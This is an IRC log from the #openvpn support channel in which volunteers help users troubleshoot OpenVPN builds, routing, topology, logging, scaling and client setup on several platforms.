16:57 < dvl> Anyone using gmirror on FreeBSD?  nearly done instructions for installing directly onto a gmirror when doing a fresh install of FreeBSD 9.1
17:04 -!- Porkepix [~Porkepix@lns-bzn-39-82-255-48-229.adsl.proxad.net] has joined #openvpn
17:08 -!- jthunder [~jthunder@70.28.245.77] has quit [Ping timeout: 256 seconds]
17:14 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
17:17 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
17:20 -!- midkniht [~midkniht@cpe-70-112-107-27.austin.res.rr.com] has left #openvpn ["Leaving"]
17:32 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:35 -!- hurleyman [~hurleyman@mail.caffalltile.com] has quit []
17:48 -!- Orbi [~opera@anon-184-212.vpn.ipredator.se] has quit [Quit: Orbi]
17:52 -!- vpopov [~happylife@149.62.17.217] has quit [Ping timeout: 252 seconds]
17:55 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
18:11 -!- MeanderingCode_ [~Meanderin@75-173-12-215.albq.qwest.net] has joined #openvpn
18:11 <@krzee> blackmagic, definitely a doob
18:11 <@krzee> dvl, i use zfs mirror instead
18:12 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Ping timeout: 255 seconds]
18:12 < dvl> krzee:  that's close, but I'm building a bigger array.  ;)
18:39 -!- jthunder [~jthunder@174.3.126.51] has quit [Remote host closed the connection]
18:39 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
18:41 -!- APTX [~APTX@unaffiliated/aptx] has joined #openvpn
18:44 -!- APTX [~APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
18:45 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
18:49 -!- APTX [~APTX@unaffiliated/aptx] has joined #openvpn
18:57 -!- APTX [~APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
18:57 -!- APTX [~APTX@unaffiliated/aptx] has joined #openvpn
19:01 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
19:02 -!- APTX [~APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
19:02 -!- APTX [~APTX@unaffiliated/aptx] has joined #openvpn
19:03 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
19:28 -!- bauruine [~stefan@91.236.116.112] has quit [Read error: Operation timed out]
19:28 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
19:35 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
19:42 -!- raidz is now known as raidz_away
19:44 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
19:52 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
19:52 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
19:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:17 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
20:24 -!- APTX [~APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
20:28 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
20:30 -!- APTX [~APTX@unaffiliated/aptx] has joined #openvpn
20:56 -!- APTX [~APTX@unaffiliated/aptx] has quit [Read error: Connection reset by peer]
21:07 -!- brute11k [~brute11k@89.249.231.124] has joined #openvpn
21:26 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
21:32 -!- APTX [~APTX@unaffiliated/aptx] has joined #openvpn
21:42 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
22:04 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has joined #openvpn
22:04 < roue> hola
22:04 < roue> I'm trying to get openvpn running on a Chromebook in dev mode.
22:05 < roue> It's complaining with "SIOCSIFADDR: No such device" when trying to ifconfig tun0 after the initial connection is established with the server. Then it dies.
22:05 < roue> verbose logging > 7 causes a seg fault.
22:05 < roue> it's kinda charming.
22:05 < roue> and no gcc toolchain easily available to rebuild.
22:06 < roue> I can openvpn --mktun --dev tun0
22:06 < roue> the kernel modules is present.
22:06 <+pekster> gcc was my upcoming suggestion :\
22:06 <+pekster> Is it a debug build? Do you have access to gdb?
22:06 < roue> I can set up a cross compliation env but it's going to take me some time to figure it out.
22:06 < roue> I don't know if it's a debug build.
22:06 <+pekster> openvpn --version should show you
22:07 < roue> I'm also not skilled in way of gdb. --version reports " OpenVPN 2.1.12 i686-pc-linux-gnu [SSL] [LZ02] [EPOLL] [OJCS11] built on Jan 9 2013
22:07 < roue> nothing about debug.
22:07 <+pekster> Debug build sample here (notice all the build options) http://fpaste.org/gZ9v/raw/
22:07 < roue> But hey, built on Jan 9, so someone is looking at it :)
22:08 <+pekster> Yea, probably not then. Chance are even if you get gdb on the chromebook a backtrace would be worthless without a debug build, and possibly worthless anyway unless frame pointers were kept during the build process
22:08 <+pekster> Sounds like a bad/incomplete build IMO
22:08 < roue> okay, so I'm out of luck until I can compile binaries.
22:08 <+pekster> Does 'openvpn --test-crypto' explode?
22:09 < roue> It wants a --secret. What do I give it?
22:09 <+pekster> Oh, create one first
22:09 <+pekster> 'openvpn --genkey --secret test.key'
22:09 < roue> I tried passing it the private key I'd created for the machine. No dice.
22:09 <+pekster> Then pass it that
22:10 <+pekster> It's not x509; it's a static key
22:10 < roue> Okay, says mode SUCCEEDED.
22:10 <+pekster> Well, not *everything* is broken ;)
22:11 <+pekster> Any hints from the packager? Maybe missing userland packages? I dunno really
22:11 < roue> From the logs it looks like the connection is being established, it's just dying when it tries to configure the network device on the chromebook side.
22:11 <+pekster> Right. I'm wondering if the packager built it targeting some support your system lacks, hence the errors interfacing with the tun device via ifconfig
22:12 <+pekster> roue: You could look at using --ifconfig-noexec and run the userland commands yourself via scripts (call either ifconfig, or, if you can, /sbin/ip since ip is preferred on modern Linuxes)
22:12 < roue> ah, nice idea.
22:13 <+pekster> I dunno if your build was built with iproute2 support, but even if not you can do it all yourself. I forget the exact syntax the env-vars use, but the manpage should provide plenty of details
22:17 -!- king0demons [~king0demo@pool-96-249-233-88.nrflva.fios.verizon.net] has joined #openvpn
22:17 < king0demons> Hello
22:19 < roue> --ifconfig-noexec dumps core. Fun :)
22:20 < king0demons> Is there a way to turn off logging
22:20 < king0demons> For the server I mean
22:21 <+pekster> king0demons: Why not just lower the verbosity if you don't like how talkative the logs are? Techniaclly you can not pass any of the --log* options and it'll dump to stderr/stdout (which will be dropped if you're not redirecting them)
22:23 <+pekster> See --verb, but even at '--verb 0' you still get fatal errors logged. You probably want that, but you can not redirct it or send it to /dev/null if you really want fatal errors to just exit and not tell you (this is a REALLY BAD idea, but you can do it if you'd like)
22:24 <+pekster> Also possibly relevant depending on how you start it: --daemon
22:26 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 255 seconds]
22:31 <+pekster> Don't send CTCP NOTICES like that; it's really bad form, and you're lucky I even saw it as it gets dumped on my status window
22:31 <+pekster> Read about the --daemon reference I gave you. You can "undo" that behaviour by either hacking your distro's initscript or learning to use syslog properly
22:39 -!- king0demons [~king0demo@pool-96-249-233-88.nrflva.fios.verizon.net] has quit [Quit: Nettalk6 - www.ntalk.de]
22:58 -!- MeanderingCode [~Meanderin@75-173-12-215.albq.qwest.net] has joined #openvpn
22:59 -!- MeanderingCode_ [~Meanderin@75-173-12-215.albq.qwest.net] has quit [Ping timeout: 246 seconds]
23:13 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
23:17 -!- jthunder [~jthunder@174.3.126.51] has quit [Client Quit]
23:31 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
23:36 -!- Dr_Wendy [~FuckOff@208.102.159.64] has joined #openvpn
23:42 < Dr_Wendy> hi, i think my problem is iptables... but i am not skilled anough to tell... if i am being honest... would one or more of you be kind enough to help me troubleshoot?
23:43 < Dr_Wendy> when i do tail /var/log/syslog... i get this over and over again
23:43 < Dr_Wendy> Jan 29 05:37:30 hostname kernel: [4432473.503949] iptables denied: IN=eth0 OUT= MAC=ff:ff:ff:ff:ff:ff:00:00:00:00:00:00:00:00 SRC=12.34.224.107 DST=12.34.224.255 LEN=151 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=UDP SPT=17500 DPT=17500 LEN=131
23:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Quit: ZNC - http://znc.in]
23:49 -!- EugeneKay [EugeneKay@selfloath.in] has quit [Quit: ZNC - http://znc.sourceforge.net]
23:49 -!- EugeneKay [EugeneKay@madeitwor.se] has joined #openvpn
23:50 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
--- Day changed Tue Jan 29 2013
00:05 -!- b1rkh0ff [~b1rkh0ff@31.176.168.75] has quit [Ping timeout: 276 seconds]
00:06 -!- b1rkh0ff [~b1rkh0ff@31.176.156.222] has joined #openvpn
00:23 -!- Porkepix [~Porkepix@lns-bzn-39-82-255-48-229.adsl.proxad.net] has quit [Quit: Computer has gone to sleep.]
00:25 < Dr_Wendy> any help?
00:32 -!- Cpot-Oblivious is now known as Cpt-Oblivious
00:37 -!- Dr_Wendy [~FuckOff@208.102.159.64] has quit [Quit: Senkei.Senbonzakura.Kageyoshi]
00:55 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
00:59 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has quit [Quit: Computer has gone to sleep.]
01:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:20 -!- vpopov [~happylife@149.62.17.217] has joined #openvpn
01:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:26 -!- bisko [~bisko@77.70.26.115] has joined #openvpn
01:31 -!- master_of_master [~master_of@p57B545F7.dip.t-dialin.net] has joined #openvpn
01:32 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
01:38 -!- corretico [~luis@190.211.93.38] has quit [Read error: Connection reset by peer]
01:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:47 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has quit [Ping timeout: 245 seconds]
01:49 -!- bisko [~bisko@77.70.26.115] has quit [Quit: Textual IRC Client: www.textualapp.com]
01:55 -!- MaxeyPad [~MaxeyPad@74-131-67-45.dhcp.insightbb.com] has joined #openvpn
01:58 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:13 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:17 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn
02:20 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
02:21 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
02:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:36 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
03:24 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:32 -!- dazo_afk is now known as dazo
03:33 -!- genghi [~Adium@p50899BDD.dip.t-dialin.net] has joined #openvpn
03:36 < genghi> hi… in some docs I see that when using ifconfig-push I can use a netmask like a /24, but other docs imply I must /30.    In short, is this statement ever legal:  ifconfig-push 10.1.1.5 10.1.1.255  ?
03:36 -!- stephan48 [stephan@opennic/stephan] has joined #openvpn
03:38 < stephan48> hi i am currently using iroue(ccd) file and route(openvpn serverconfig file), is it possible to add routes(route commands) without restarting the openvpn server?
03:38 < kisom> On which side?
03:38 < kisom> Server or client?
03:39 <+pekster> genghi: That depends on your topology, but you probably don't intend to be using p2p topology like that with --ifconfig-push. For 'subnet' or 'net30' topology that's not valid
03:45 -!- Dashers [dash@home.aligrant.com] has joined #openvpn
03:47 < Dashers> How can I retain a route to the VPN server when there is no "external" IP range.
03:47 < genghi> pekster:  cool.. gotchya
03:47 < genghi> I missed the net30 part
03:48 <+pekster> genghi: Basically, you don't want to waste IPs by using net30 unless you intend to support OpenVPN versions 2.0.x. 2.1 and higher should use the subnet topology instead
03:48 < Dashers> I'm wanting to use OpenVPN to tunnel through an internal firewall - I allow the VPN connection through to the server, but the connection drops as the routing tables get muddled.
03:49 <+pekster> Now, if you actually need to support both Windows *and* clients running a 2.0.x version, then you have a valid use-case for net30. Otherwise, don't use it ;)
03:49 < genghi> pekster:  it seems version +2 uses net30 by default. In my case the clients will be mixed UNIX/Windows, so I must use net30, correct?
03:50 <+pekster> genghi: What is "version +2" ? Are you really running a 2.0.x client? Like 2.0.9?
03:50 <+pekster> I suspect you really want the subnet topology instead, which supports Windows just fine
03:50 < genghi> openvpn-2.2.1-1.el6.x86_64 in this specific case
03:50 < genghi> ok
03:51 <+pekster> See --topology in the manpage for a full breakdown on the choices, but in your case you want subnet, not net30
03:51 < genghi> awesome… thanks
03:51 <+pekster> Dashers: what do you mean no "external IP range" ?
03:52 <+pekster> Dashers: You can route to server-side networks by pushing them from the server to the client. We have a handy guide for that exact situation:
03:52 <+pekster> !serverlan
03:52 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
03:53 < Dashers> Cool, thanks.
03:53 < Dashers> The thing I was getting stuck on was maintaining the route to the server when the server pushes a new gateway for it's subnet.
03:53 < Dashers> But then I found this: http://openvpn.net/archive/openvpn-users/2005-12/msg00074.html
03:53 <@vpnHelper> Title: Re: [Openvpn-users] pushing server network as route to client stops openvpn (at openvpn.net)
03:54 <+pekster> Your networks don't overlap, do they?
03:54 -!- zeshoem [~zee@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
03:54 < Dashers> Not overlap - but they are the same.  i.e. all I'm trying to do is get the client to act as if it was on the opposite side of the firewall (there is no nat routing going on or anything)
03:55 <+pekster> Oh, okay. Just add a more specific route for the VPn server itself; you get variables to identify them under the --route values in the manpage
03:55 < Dashers> Aye, I didn't realise there was variables available - quite handy :D
03:55 < Dashers> Thanks.
03:56 <+pekster> eg: push "route remote_host 255.255.255.255 net_gateway"
03:56 <+pekster> That'll create a /32 (ergo higher priority) route to avoid supernetting your VPN endpoint in the larger route. Remember that this traffic will *not* be encrypted
03:57 <+pekster> Otherwise, you'd need to do some policy routing client-side to identify the VPN traffic and route it using differnet rules if you wanted all non-VPN traffic to that host to be protected too
03:58 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has joined #openvpn
03:58 <+pekster> Oh, fancy that, the same config line is in that mailing list entry you found :P. Heh.
03:59 < Dashers> You clearly know too much :)
03:59 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has quit [Client Quit]
03:59 <+pekster> And if I'd read that further I'd have been able to type less. Something about "work smarter, not harder.." no? :)
03:59 < Dashers> Encryption is not required it's just for getting round a physical restriction on the network.
03:59 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has joined #openvpn
04:01 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
04:04 < Dashers> In fact, is it possible to configure it to work without certificates at all?  i.e. allow anybody to connect without a client certificate or password?
04:05 <+pekster> Not in multi-client mode, although you could use the same client cert all over with --duplicate-cn, or use un/pw auth and just blindly accept people with an 'exit 0' script to "verify" users
04:05 <+pekster> Every one's a winner!
04:05 <+pekster> A GRE tunnel is probably better suited to that, though
04:05 <+pekster> (Oh, and I suppose not very platform-independent for you, huh?)
04:08 -!- igor_ [~igor@pd907e599.dip0.t-ipconnect.de] has joined #openvpn
04:08 <+pekster> See --auth-user-pass-verify and --client-cert-not-required
04:14 -!- zz_AsadH is now known as AsadH
05:04 -!- Dashers [dash@home.aligrant.com] has quit [Quit: blee]
05:15 -!- vpopov [~happylife@149.62.17.217] has quit [Ping timeout: 244 seconds]
05:16 -!- dazo is now known as dazo_afk
05:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds]
05:40 < igor_> both --up and --up-delay are not working i have check permissons . i use absolute path . cant find the mistake . excute the script manually is working
06:00 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
06:04 < stephan48> kisom: sorry was that an answer to my question?
06:09 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
06:12 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:16 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
06:18 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
06:23 -!- p3rror [~mezgani@2001:0:53aa:64c:104e:5b75:d673:4be2] has joined #openvpn
06:29 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
07:23 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
07:26 -!- mufasa27 [~jchamplin@unaffiliated/mufasa27] has joined #openvpn
07:26 < mufasa27> w
07:27 < mufasa27> whenever i try and start openvpn, I cannot connect with error= " cannot read password from stdin"
07:29 -!- p3rror [~mezgani@2001:0:53aa:64c:104e:5b75:d673:4be2] has quit [Read error: Connection reset by peer]
07:45 -!- Fabius [~Sbratzber@187.110.4.106] has joined #openvpn
07:45 <+pekster> mufasa27: Some part of the startup process requires reading a password (probably to decrypt a private key) and you apparently haven't supplied a stream for stdin to read it from
07:46 <+pekster> If you don't start it from the console, you won't have a valid stdin stream and must make other arrangements to supply decryption passphrases (eg: management interface) or decrypt the keys
07:54 < Fabius> Hello, Folks. I Work for a Public company, and we already use OPEN VPN. Great Software. Congratulations. But now, A LOT of people intent to access our server via Open VPN. Several diferent systems. Every kind of aplication. I need to know about the hardware limitations and network trafic limitations for openvpn usage. Any hint??
07:58 <+pekster> Fabius, the biggest problem to scaling is that openvpn is single-threaded. That effectively limits the number of concurrent users any single instance can support. As long as you load-balance your connections to a suitable number of instances with hardware that can handle the crypto and network load, you'll be set
08:03 < Fabius> pekster, i have today (before scaling) 5 .conf files (5 diferent vpns).  Each one has a diferent access (seted by interface on firewall). This setup creates a diferent proccess for eache vpn??
08:03 <+pekster> Yes, exactly
08:03 < Fabius> or its the same one for all of then?
08:03 < fys> Fuck this hangover in the ASSSSSSS.
08:04 <+pekster> Each instance is a separate openvpn process, which means its own config file
08:05 < Fabius> they think abbout 200 users. They will access a RDP session via VPN. Do you see a disaster? Or maybe it works?
08:05 <+pekster> As long as your hardware supports the load you plan to put on it
08:05 <+pekster> The openvpn mailing lists have some good postings about people benchmarking the CPU and crypto requirements
08:06 <+pekster> Remember that you need at least 1 instance per CPU core you plan to use, otherwise you're just wasting CPUs that'll sit idle
08:07 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:07 < mufasa27> pekster: how would I supply it a stream if I am launching it from the terminal?
08:08 <+pekster> mufasa27: The terminal provides a stdin process, unless you're somehow disconnecting it
08:09 <+pekster> mufasa27: Do you get the error still if you open a terminal and do 'openvpn --config /path/to/your/config.conf' ?
08:09 < Fabius> pekster, thanks a lot
08:10 < Fabius> oh, a nother question; today i create manualy all the keys. Do you suggest some kind of system (web or not) os script for automating all process??
08:10 < mufasa27> pekster: yeah, I attempt to startup from the terminal by `openvpn --config /etc/openvpn/client.conf` and it still says that it cannot read pass from stadin
08:10 < mufasa27> atdin*
08:11 < mufasa27> stdin* fuck..
08:12 <+pekster> mufasa27: Can you pastebin the config? Normally you'll get an interactive prompt if a key needs to be supplied
08:12 <+pekster> Fabius: Maybe this is of use:
08:12 <+pekster> !xca
08:12 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
08:13 <+pekster> I've never used it, but it looks convenient if you don't have your own infrastructure in place
08:19 < mufasa27> pekster: http://pastebin.com/4JJdTN9g
08:20 < mufasa27> pekster: the <> tags are fields that I know and are correct
08:22 <+pekster> The 'pull' directive does not take any parameters (near as I can tell that's not posing a problem for you though)
08:22 <+pekster> Also, that's unnecessary since you already specify 'client' which implies 'pull'
08:23 <+pekster> mufasa27: Otherwise that looks fine. The VPN_URL is the hostname, not a standards-like URI, right?
08:25 < mufasa27> pekster: yeah the vpn.url is a url not uri
08:26 < Fabius> pekster and vpnHelper, Thanks a lot
08:26 < mufasa27> I'm using urxvt as a terminal shell, but that shouldn't cause any problems should it?
08:26 <+pekster> mufasa27: If by "url" you mean http://something, then that's wrong. It needs to be a hostname or an IP that your resolver can turn into an IP
08:26 < mufasa27> also running on archlinux_64 bit
08:27 < mufasa27> pekster: it is vpn.something.com
08:27 <+pekster> Also, it might be an issue if it handles stdin poorly. What happens if you use a standard shell, like bash or even sh?
08:28 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
08:29 < mufasa27> pekster: I'm using a standard bash shell. just using urxvt as a shell frontend.
08:29 < mufasa27> I'll try xterm and get back with ya
08:30 <+pekster> There's nothing weird in that config (besides your funky 'pull' line that you can just remove without impact.) Nothing that would hinder the processing of a password for your protected key file, so somehow your shell/console/whatever isn't passing it to openvpn correctly
08:30 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
08:30 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
08:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
08:30 -!- mode/#openvpn [+o krzee] by ChanServ
08:31 < mufasa27> pekster: ok thank you. i'll try another frontend perhaps
08:31  * krzee smells !netman
08:32 <+pekster> No, goofy terminal manager/frontend thing that's somehow eating stdin
08:33 <+pekster> Basic config file that openvpn bails out on when it can't read the decryption passphrase interactively :x
08:34 <@krzee> ahh right
08:34 <@krzee> what frontend?
08:35 -!- mufasa27 [~jchamplin@unaffiliated/mufasa27] has quit [Ping timeout: 248 seconds]
08:36 -!- mufasa27 [~jchamplin@aei-tech.com] has joined #openvpn
08:36 <+pekster> urxvt; I've heard of it, but have no direct expereince
08:39 < mufasa27> pekster: i've tried xterm as well. next step would be to try a pure tty shell
08:39 <+pekster> mufasa27: Weird, that should all be unnecessary. If you add 'verb 4' to the config (or on the CLI, ie: 'openvpn --verb 4 --config foo.conf') does it give you any more hint as to the problem?
08:42 -!- KaiForce [~chatzilla@adsl-70-228-88-232.dsl.akrnoh.ameritech.net] has joined #openvpn
08:43 < mufasa27> pekster:  http://pastebin.com/7LWTwCJX
08:44 < KaiForce> is there a known issue with the 64bit client 2.3 version crashing on Windows
08:44 < KaiForce> I've had it happen on two machines.
08:47 <+pekster> mufasa27: That's either not started from the command-line, or you've edited the config file from what you showed me earlier, becuase it's using the 'nobody' user and group. If it still shows the same resulting error that's one thing, but the test doesn't appear the same as what you had issues with before
08:49 <+pekster> The code that causes that error is pretty explicit about the cuase too
08:49 <+pekster> if (!get_console_input ... ) msg (M_FATAL, "ERROR: could not read...");
08:49 < mufasa27> pekster: http://pastebin.com/H84QFeCh
08:52 <+pekster> huh. Well now I'm stumped. Apparently it's failing to get console input. Besides a really screwed up shell or file descriptor handling on the OS, I'm not sure what to tell you
08:57 <+pekster> mufasa27: You said you're using arch?
08:58 < mufasa27> pekster: yes I am using arch. I could try it from a tty shell and see how that handles it.
08:59 < mufasa27> pekster: I am getting the same error from a tty shell
09:00 <+pekster> You can give it a shot. The code is pretty simple for that function, but it uses a different system call depending on if you built with systemd support or not. In either event, the only reason it fails is when it can't open a tty to perform the read. That's getpass() without systemd, or get_console_input_systemd() if you built with that support
09:00 -!- bjh4 [~bjh4@64.212.193.1] has joined #openvpn
09:02 < mufasa27> pekster: I built with systemd support so it should call get_console_input_systemd()
09:03 <+pekster> It is doing that if you use --enable-systemd (which is not the default.) It's calling that function, and that function is what's returning a failure status
09:04 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has joined #openvpn
09:06 <+pekster> Looks like it's trying to use /bin/systemd-ask-password to handle it through systemd. I'm not familiar at all with systemd's method to manage that, so I can't really troubleshoot beyond this besides suggest you rebuild without systemd support
09:06 <+pekster> src/openvpn/console.c starting on line 158 of the 2.3.0 release
09:06 < mufasa27> ok I'll look into it. thank you
09:07 <+pekster> The easier method might just be to remove that option from your build and re-compile
09:08 < mufasa27> then it will default to the old getpass() ? \
09:09 <+pekster> Yea
09:14 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has joined #openvpn
09:18 < havoc> can 2.3.0 be deployed/installed silently?
09:18 < havoc> google's not finding anything on it
09:19 <+pekster> What platform?
09:20 < havoc> windows
09:20 < havoc> using the .exe
09:20 < havoc> I tried running it w/ --help, -h, -help, /?, nothing :(
09:20 < havoc> or is this a case where I'd have to build my own installer?
09:21 < havoc> openvpn itself isn't so much of an issue, the TAP-win32 is
09:27 <+pekster> It's built with NSIS, so /S is usually the "standard" silent install flag unless otherwise modified by the install script
09:28 <+pekster> You're still going to have potential UI interaction due to the driver signing stuff, depending on OS and the configuration of the "Local Security Policy" settings for driver installs
09:28 < havoc> ah, /s, thanks
09:28 < havoc> eh, I'll just have to try it
09:28 -!- mufasa27 [~jchamplin@aei-tech.com] has quit [Ping timeout: 248 seconds]
09:30 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
09:30 -!- MeanderingCode [~Meanderin@75-173-12-215.albq.qwest.net] has quit [Remote host closed the connection]
09:31 -!- bjh4 [~bjh4@64.212.193.1] has quit [Ping timeout: 256 seconds]
09:31 <+pekster> Further reading on NSIS and all its features: http://nsis.sourceforge.net/Docs/Chapter3.html#3.2
09:31 <@vpnHelper> Title: Command Line Usage (at nsis.sourceforge.net)
09:32 < havoc> pekster: thanks much :)
09:32 < KaiForce> anyone aware of 64bit 2.3 client crashing on Windows?
09:41 -!- MeanderingCode [~Meanderin@75-173-12-215.albq.qwest.net] has joined #openvpn
09:48 <@ecrist> nope
09:53 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
09:53 -!- MeanderingCode [~Meanderin@75-173-12-215.albq.qwest.net] has quit [Ping timeout: 255 seconds]
09:57 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:57 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
09:57 <@krzee> i have also not heard of it crashing anywhere
09:57 <@krzee> see if the log shows anything
09:57 -!- c3vin [~c3vin@70.62.198.163] has joined #openvpn
09:58 <@krzee> maybe its not crashing but rather exiting with extreme prejudice ;]
09:58 < c3vin> I'm having trouble finding instructions on installing centos client
09:58 < c3vin> can someone assist?
09:59 < c3vin> I have existing openvpn server and would like to configure centos 6.3 to connect
09:59 <@krzee> already got openvpn working correctly when you use openvpn config.conf ?
10:00 < rob0> Probably "yum install openvpn" installs the client. yum(8) questions would be on topic in #centos
10:00 <@krzee> in other words, are you looking for help with openvpn or just configuring openvpn to work with your distro's init script?
10:00 <@krzee> we'll help ya with either, but where to go next depends
10:00 <@krzee> or i will at least… i've run centos a little
10:01 <+pekster> Are they finally up to the 3.x kernels? :P
10:01 <@krzee> no idea =]
10:01 < rob0> 2.4 ;)
10:01 < c3vin> I'm looking for ways to configure openvpn client on centos 6.3
10:02 < c3vin> i've found some different docs that don't encessarily match
10:02 <+pekster> Well, back when I was using 5.3 at $job back then, they got really, really good at back-porting things to 2.6.26 or some-such
10:02 <@krzee> running openvpn on basically ANY os is the same
10:02 < c3vin> I can't find any config files included in default client install
10:02 <@krzee> of course windows / android / ios have some caveats
10:02 <@krzee> supply your own config
10:02 < c3vin> dir /etc/openvpn is empty
10:02 <+pekster> !howto
10:03 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
10:03 <@krzee> openvpn doesnt configure itself ;]
10:03 <+pekster> c3vin: ^^ start with that guide the bot just pasted for you
10:03 < c3vin> yea, I'm just looking for proper guidance
10:03 < c3vin> i'll cehck this out - ty
10:04 < rob0> Probably also look into the CentOS/RHEL documentation for openvpn, as that will tell you where to put your files, what to name them, et c.
10:06 -!- Devastator- [~devas@177.18.197.23] has joined #openvpn
10:06 <@krzee> your client config must match your server config
10:06 <@krzee> like so:
10:06 <@krzee> !sample
10:06 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
10:06 <@krzee> things like compression settings must match, their certs need to be from the same pki
10:06 <@krzee> you're starting at the right place with that howto =]
10:06 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 276 seconds]
10:07 < c3vin> so one of my areas of confusion involves client keys/certs
10:07 < c3vin> shoudl those be generated from openvpn server and copied to client/
10:07 < c3vin> ?
10:07 < c3vin> or generated on client and copied to openvpn folder
10:08 <@krzee> i always recommend generating them all on another machine
10:08 <@krzee> personally i aim for a CA that has no network connection at all
10:08 <@krzee> the ca.key is the cornerstone of pki
10:08 <@krzee> !pki
